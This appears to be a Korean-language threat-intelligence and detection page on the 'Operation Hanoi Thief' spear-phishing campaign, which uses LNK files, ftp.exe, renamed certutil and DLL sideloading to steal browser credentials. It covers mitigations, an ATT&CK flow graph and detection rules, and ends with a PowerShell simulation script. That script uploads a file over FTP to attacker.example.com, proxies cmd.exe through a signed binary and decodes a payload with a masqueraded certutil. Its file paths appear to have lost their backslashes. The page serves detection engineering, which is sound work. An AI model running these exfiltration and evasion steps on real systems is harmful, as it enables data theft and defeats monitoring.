하노이 도둑 작전: 위협 행위자가 베트남 IT 및 채용 팀을 공격
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
“Operation Hanoi Thief”로 명명된 스피어피싱 작전은 바로 가기 (LNK)와 감쪽같이 위장된 다중 형식 문서를 포함하는 악성 ZIP 아카이브를 전송합니다. 바로 가기는 ftp.exe를 악용하여 배치 스크립트를 실행하고, MsCtfMonitor.dll이라는 DLL을 ProgramData에 드롭한 후 ctfmon.exe를 통해 DLL 사이드로딩을 수행합니다. LOTUSHARVEST로 불리는 이 DLL은 브라우저 자격 증명 및 기록을 훔치고 수집된 데이터를 HTTPS를 통해 외부로 전송합니다.
Operation Hanoi Thief 캠페인 분석
SEQRITE Labs APT-팀 연구원들은 ZIP 아카이브를 해제하고 LNK 명령 줄이 ftp.exe를 악용하는 것을 문서화하고, 이름이 변경된 certutil.exe 바이너리를 관찰하였으며, DLL 사이드로딩 연쇄를 탐색했습니다. 또한 데이터 유출에 연관된 네트워크 지표를 포착하여 캠페인을 중국의 국가 지원 위협 행위자에게 귀속시켰습니다.
완화
방어 지침에는 의심스러운 LNK 바로 가기의 실행 차단, 불신 스크립트에서 ftp.exe 및 certutil.exe와 같은 네이티브 Windows 도구 사용 제한, DLL 로딩 경로에 대한 제어 강화, 친숙하지 않은 도메인으로의 아웃바운드 HTTPS 트래픽 모니터링이 포함됩니다. 또한 조직은 엄격한 이메일 첨부파일 필터링을 적용하고 이력서 테마의 피싱 미끼에 대한 사용자 교육을 강화해야 합니다.
대응
ProgramData에서의 MsCtfMonitor.dll 출현, -s 플래그와 함께하는 ftp.exe 실행, 그리고 악성 도메인으로의 아웃바운드 요청에 대한 경고를 트리거하세요. 영향 받은 파일을 격리하고, 손상된 엔드포인트를 격리하며, 영향받은 브라우저의 비밀번호 및 자격 증명을 교체하세요.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% 노드 action_phishing[“<b>행위</b> – <b>T1566.001 피싱: 스피어피싱 첨부파일</b><br/>공격자가 대상 사용자에게 악성 ZIP 아카이브를 이메일로 전송”] class action_phishing action file_malicious_zip[“<b>파일</b> – 이름: Le‑Xuan‑Son_CV.zip<br/>CV.pdf.lnk 및 위장된 PDF/PNG 포함”] class file_malicious_zip file action_user_exec[“<b>행위</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>피해자가 아카이브를 추출하고 바로가기를 열음”] class action_user_exec action file_lnk[“<b>파일</b> – 이름: CV.pdf.lnk (바로가기)”] class file_lnk file action_shortcut_mod[“<b>행위</b> – <b>T1547.009 부팅 또는 로그온 자동 실행: 바로가기 수정</b><br/>LNK가 ftp.exe를 -s 인수와 함께 실행”] class action_shortcut_mod action tool_ftp[“<b>도구</b> – 이름: ftp.exe (Windows 시스템 바이너리)”] class tool_ftp tool action_proxy_exec[“<b>행위</b> – <b>T1218 시스템 바이너리 프록시 실행</b><br/>합법적인 바이너리가 숨겨진 명령어 실행에 악용됨”] class action_proxy_exec action tool_device_cred_deploy[“<b>도구</b> – 이름: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>도구</b> – 이름: certutil.exe”] class tool_certutil tool action_masquerade[“<b>행위</b> – <b>T1036.008 가장: 파일 유형<br/>T1036.007 가장: 이중 확장자</b><br/>페이로드가 PDF/PNG로 위장되었으며 나중에 이름이 변경됨”] class action_masquerade action file_masq_pdf[“<b>파일</b> – 이름: offsec‑certified‑professional.png (실제는 PDF)”] class file_masq_pdf file action_compression[“<b>행위</b> – <b>T1027.015 모호한 파일 또는 정보: 압축</b><br/>악성 페이로드 전달에 ZIP 사용됨”] class action_compression action action_compile_after_delivery[“<b>행위</b> – <b>T1027.004 전달 후 컴파일</b><br/>다중 형식 스크립트에서 Base64로 인코딩된 DLL 추출”] class action_compile_after_delivery action action_dll_sideload[“<b>행위</b> – <b>T1574.002 DLL 사이드로딩</b><br/>악성 DLL이 ctfmon.exe 옆에 배치됨”] class action_dll_sideload action file_ctfmon_exe[“<b>파일</b> – 이름: ctfmon.exe (작업 디렉터리에 복사됨)”] class file_ctfmon_exe file file_malicious_dll[“<b>파일</b> – 이름: MsCtfMonitor.dll (악성)”] class file_malicious_dll malware action_process_injection[“<b>행위</b> – <b>T1055.001 프로세스 주입: DLL 주입</b><br/>사이드로딩된 DLL이 ctfmon.exe에 의해 로드되어 공격자 코드 실행”] class action_process_injection action action_browser_discovery[“<b>행위</b> – <b>T1217 브라우저 정보 수집</b><br/>DLL이 Chrome 및 Edge의 SQLite 데이터베이스에서 URL을 읽음”] class action_browser_discovery action action_credential_extraction[“<b>행위</b> – <b>T1555.003 웹 브라우저에서 자격 증명</b><br/>암호가 CryptUnprotectData를 통해 복호화됨”] class action_credential_extraction action action_exfiltration_auto[“<b>행위</b> – <b>T1020 자동 전송</b><br/>HTTPS를 통해 전송할 데이터 준비”] class action_exfiltration_auto action action_exfiltration_c2[“<b>행위</b> – <b>T1041 C2 채널을 통한 전송</b><br/><b>T1102 웹 서비스</b><br/>HTTP POST를 통해 공격자 도메인에 데이터 전송”] class action_exfiltration_c2 action %% 연결 action_phishing u002du002d> |전달| file_malicious_zip file_malicious_zip u002du002d> |포함| file_lnk file_lnk u002du002d> |발생| action_user_exec action_user_exec u002du002d> |진행됨| action_shortcut_mod action_shortcut_mod u002du002d> |실행| tool_ftp tool_ftp u002du002d> |사용됨| action_proxy_exec action_proxy_exec u002du002d> |또한 사용됨| tool_device_cred_deploy action_proxy_exec u002du002d> |또한 사용됨| tool_certutil action_shortcut_mod u002du002d> |사용됨| action_masquerade action_masquerade u002du002d> |생성됨| file_masq_pdf action_masquerade u002du002d> |의존| action_compression action_compression u002du002d> |가능| action_compile_after_delivery action_compile_after_delivery u002du002d> |생산| file_malicious_dll action_compile_after_delivery u002du002d> |준비됨| action_dll_sideload action_dll_sideload u002du002d> |DLL 배치| file_ctfmon_exe action_dll_sideload u002du002d> |배치됨| file_malicious_dll file_ctfmon_exe u002du002d> |로드| file_malicious_dll file_malicious_dll u002du002d> |수행| action_process_injection action_process_injection u002du002d> |활성화| action_browser_discovery action_browser_discovery u002du002d> |데이터 전달| action_credential_extraction action_credential_extraction u002du002d> |데이터 전달| action_exfiltration_auto action_exfiltration_auto u002du002d> |데이터 전송| action_exfiltration_c2 %% 클래스 지정 class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware
공격 흐름
탐지
Operation Hanoi Thief: 데이터 유출 탐지 [Windows 네트워크 연결]
보기
Operation Hanoi Thief 활동 탐지 [Windows 프로세스 생성]
보기
탐지할 IOCs (HashSha256): Operation Hanoi Thief: 베트남 IT 전문가 및 채용 팀을 목표로 하는 위협 행위자
보기
데이터 인코딩 및 인증 작업을 위한 Certutil 사용 (cmdline 통해)
보기
아카이브로부터 추출된 의심스러운 파일 (file_event 통해)
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre-flight Check를 통과해야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적수 기술 (TTP)의 정확한 실행을 설명합니다. 명령 및 서사 이야기는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.
-
공격 내러티브 및 명령:
손상된 Windows 머신에서 낮은 권한의 셸을 획득한 공격자는 데이터를 탈취하고 스텔스를 유지하려고 합니다.- 단계 1 – FTP 스크립트 실행:공격자는 임시 스크립트
upload.txt에 FTP 명령어를 포함시키고ftp.exe -s upload.txt를 실행하여 파일을 외부 서버로 전송합니다. - 단계 2 – 프록시 명령 실행: 공격자는
cmd.exe의 사용을 숨기기 위해DeviceCredentialDeployment.exe와cmd.exe /c whoami인수를 함께 실행하여 서명된 유틸리티가 숨겨진 명령 셸을 생성하게 하여 간단한 프로세스 이름 경고를 피합니다. - 단계 3 – 가장된 certutil 사용: 공격자는
certutil.exe을C:Templala.exe로 복사하고lala.exe -decode malicious.b64 output.exe을 실행하여 페이로드를 해독, 파일명 기반 탐지를 우회하기 위해 이름 변경을 활용합니다.
- 단계 1 – FTP 스크립트 실행:공격자는 임시 스크립트
-
회귀 테스트 스크립트: 다음 PowerShell 스크립트는 세 단계를 반복 가능한 방식으로 재현합니다.
# 회귀 테스트 스크립트 – 탐지 규칙을 트리거함 # 1. FTP -s 플래그 $ftpScript = "$env:TEMPupload.txt" @" open attacker.example.com user testuser testpass put C:WindowsSystem32notepad.exe notepad.exe quit "@ | Set-Content -Path $ftpScript -Encoding ASCII Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait # 2. DeviceCredentialDeployment.exe가 cmd.exe 프록싱 $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe" if (Test-Path $dccPath) { Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait } else { Write-Host "DeviceCredentialDeployment.exe를 찾을 수 없어 단계 2를 건너뜁니다." } # 3. 가장된 certutil 실행 $original = "$env:SystemRootSystem32certutil.exe" $masq = "$env:TEMPlala.exe" Copy-Item -Path $original -Destination $masq -Force $payload = "$env:TEMPmalicious.b64" $output = "$env:TEMPdecoded.exe" # 더미 base64 페이로드 생성 [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious"))) Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait -
정리 명령어: 테스트 동안 생성된 아티팩트를 제거합니다.
# 정리 스크립트 Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue Write-Host "정리가 완료되었습니다."